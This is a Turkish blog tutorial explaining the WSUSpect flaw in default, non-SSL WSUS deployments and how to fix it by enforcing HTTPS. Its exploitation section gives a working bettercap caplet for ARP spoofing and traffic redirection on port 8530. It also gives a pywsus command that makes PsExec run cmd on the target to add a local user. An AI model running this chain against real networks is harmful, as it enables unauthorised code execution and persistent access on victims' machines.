WSUS'un Varsayılan Yapılandırılmasının Sömürülmesi - WSUSpect Zafiyeti
Yazar: Ekrem Can KÖK
2015'te BlackHat konferansında tanıtılan "WSUSpect" zafiyeti, Windows Update Service (WSUS) ile ilgili bir güvenlik açığı olup, saldırganların bir organizasyonun Windows güncelleme altyapısını hedef alarak kurumsal ağlarını ele geçirmelerine olanak tanımaktadır. Bu yazıda, WSUSpect zafiyetinin teknik detaylarını, bu açığın nasıl sömürüleceğini, bunun için gereken araçları ve bu zafiyetin önüne geçmek için gerekli çözüm yolunu anlatacağız.
WSUSpect Zafiyeti Nedir?
WSUS (Windows Server Update
Services), Microsoft'un bir kurumsal ağda istemci makinelerinin Windows
güncellemelerini merkezi bir şekilde almasını sağlamak için kullandığı bir
yazılımdır. Bu yazılım, kullanıcıların güncellemeleri manuel olarak
yüklemelerini engeller ve güvenlik güncellemeleri ile yamaların dağıtımını
otomatikleştirir.
WSUS yazılımı ilk kurulumda SSL
kurulumunu zorunlu tutmaz o yüzden ilk kurulumda WSUS güncelleme dosyaları için
değil, yalnızca meta veriler için SSL kullanımı gerçekleştirir. Burada her
güncelleme için bir karma hesaplanır ve meta verilerle birlikte gönderilir. Bir
güncelleme indirildiğinde, WSUS dijital imzayı ve karmayı kontrol eder.
Güncelleme değiştirilmişse, yüklenmez.
Varsayılan kurulumda SSL zorunlu
tutulmadığı için WSUS saldırganlar tarafından kötüye kullanılabilecek bazı
güvenlik açıklarını barındırır. WSUSpect zafiyeti, bu güvenlik açıklarını
kullanarak saldırganların hedef sistemlere güncelleme gerçekleştirme, kötü
amaçlı yazılım veya yama entegre etmelerini sağlar. Böylece saldırgan, hedef
makineler üzerinde komut çalıştırma, güncelleme almasını engelleme ve servis
dışı bırakma vb. zafiyetleri tetikleyebilir.
WSUS sunucusu başlangıç
kurulumunda bırakıldığında SSL yapılandırılması olmadığı için sunucuya SSL
sertifika kurulmadan kullanılırsa zafiyete açık hala gelir. Saldırgan ortadaki
Adam Saldırısı (MITM) ile araya girerek trafiği dinleyebilir ve isteği şekilde
değiştirebilir. Bu sayede kötü amaçlı meta verileri ve istenilen güncelleme
dosyası sisteme enjekte edilebilir.
Güncelleme gerçekleştirilirken
istemci ve sunucu arasında meta veri paylaşımı yapılır. Bu paylaşım yapılırken
SOAP protokolü kullanılır. Saldırgan burada SSL olmamasından kaynaklı MITM
saldırısı ile SOAP üzerindeki belirli istekleri değiştirerek. Meta veri
doğrulamasının atlatılması ve kendi payload’larının karşı makine üzerinde
çalıştırılmasını sağlar.
WSUS yazılımı kullanımında
SyncUpdates ve GetExtendedUpdateInfo istekleri ve yanıtları yakalanıp
değiştirilerek WSUSpect zafiyeti tetiklenmektedir ve Windows’un güncellemenin
doğruluğunu kontrol ettiği meta veri önlemi atlatılabilmektedir. Aşağıda bu
isteklere ve yanıtlara ait zafiyetlerin bulunduğu kod blokları verilmiştir.
GetExtendedUpdateInfo
Response
CommandLineInstallation
Edited
CommandLineInstallation
Yukarıdaki kod blokları
incelendiğinde öncelikle “GetExtendedUpdateInfo” isteği iletildiğinde
bize yukarıdaki gibi bir kod döndürdüğü gözlemlenmiştir. Burada <FileLocations>
tagl’eri arasında belirli bir URL parametresi döndüğü ve xml tagleri
arasında ise meta verisinin döndüğü gözlemlenmiştir. MITM işlemi
gerçekleştirilerek dönen yanıt üzerindeki değerleri değiştirerek farklı bir URL
üzerinden PsExec64.exe dosyasını indirme işlemi gerçekleştirebiliriz.
Daha sonrasında CommandLineInstallation
isteği üzerinde <HandlerSpecificData değeri görülmektedir. Burada
çalıştırılan exe dosyası diğer resimdeki gibi indirdiğimiz PsExec dosyası
çalıştırılacak şekilde düzenlenebilir ve CMD ile bir whoami komutu
çalıştırılabilir bu sayede hedef makine üzerinde komut çalıştırma işlemi
gerçekleştirilebilir.
Zafiyetin sömürülmesi sırasında
burada anlatılan işlemlerin otomatik olarak gerçekleştirilmesi için Python ile
kodlanan PyWSUS uygulamasını kullanarak zafiyeti tetikleyeceğiz.
Zafiyetin Sömürülmesi
Zafiyet incelendiğinde Windows’un
belirli dosyalarının imzalı olduğu ve çalıştırılabildiği gözlemlenmiştir.
Bunlarda bilinenlerde biri CMD diğerleri de SysInternals araçlarıdır. Bunlar
kullanılarak makine üzerinde komut çalıştırılabilmektedir.
Zafiyeti tetikleme karşı makinede
psexec’i tetikleyerek, çalıştırma işlemi gibi birçok işlemi bizler için PyWSUS
yazılımı otomatik olarak gerçekleştirmektedir.
Zafiyet sömürme kısmında da
sömürmek için gerekli olan PyWSUS ve Bettercap aracını kullanarak zafiyetin
nasıl sömürüleceğini göstereceğiz.
Pywsus aracını PyWSUS adresi üzerinden indirerek
kurulumunu gerçekleştirebilirsiniz.
Örnek saldırı senaryosunda;
·
Saldırgan IP: 192.168.1.150
·
Hedef IP: 10.10.10.150
Öncelikle MITM saldırısının
düzgün şekilde gerçekleştirebilmek için bettercap uygulamasına bir config
dosyası yazılması gerekmektedir. Aşağıdaki şekilde bir wsus.cap dosyası oluşturarak
hedef ip adresine gelen tüm trafiği 8530 portu (WSUS uygulamasının varsayılan
portu olduğu için kullanılmıştır) üzerinden kendimize yönlendirme işlemi
gerçekleştirebiliriz.
wsus.cap
set
arp.spoof.targets 10.10.10.150
arp.spoof on
set any.proxy.src_port 8530
set any.proxy.dst_port 8530
set any.proxy.dst_address
192.168.1.150
Dosyayı düzenledikten sonra <code>bettercap
--iface interface --caplet wsus.cap </code> komutunu çalıştırarak MITM
için dinleyici ve yönlendirme işlemini başlatmış oluyoruz. Aynı anda pywsus
aracı ile de aşağıdaki komutu çalıştırıyoruz.
<code> python
pywsus.py -H 192.168.1.150 -p 8530 -e PsExec64.exe -c ‘/accepteula /s cmd.exe
/c “net user btyon btyon /add”‘</code> komutunu da vererek makinemizin
8530 portuna gelen istekleri editleyerek karşı makinede CMD ile komut
çalıştırılmasını ve btyon adında bir kullanıcı eklemesini sağlayan kodu
gönderiyoruz.
Bu sayede saldırgan makine
üzerinde dinleyici ve pywsus yazılımı aktif haldeyken hedef makine üzerinden bir
güncelleme işlemi yapılmaya çalışıldığında bizim gönderdiğimiz komut
çalıştırılmakta ve makine üzerinde bir kullanıcı oluşturma işlemi
gerçekleştirilmektedir.
Önlemler ve Savunma
Bu zafiyeti önlemenin en iyi
yolu, WSUS dağıtımları kullanılırken HTTP yerine şifrelenmiş güvenli bir
iletişim yöntemi olan HTTPS kullanılmasıdır. WSUS dağıtımı varsayılan
ayarlarında yapılandırıldıktan sonra ek olarak SSL yapılandırılmasının da
gerçekleştirilmesi gerekmektedir.
Burada SSL/TLS sertifikalarının güvenli şekilde yapılandırılarak zayıf algoritmalar kullanılmamalı ve WSUS’un HTTPS üzerinden iletişim kurması zorunlu hale getirilmelidir.
Teşekkürler,



Hiç yorum yok:
Yorum Gönder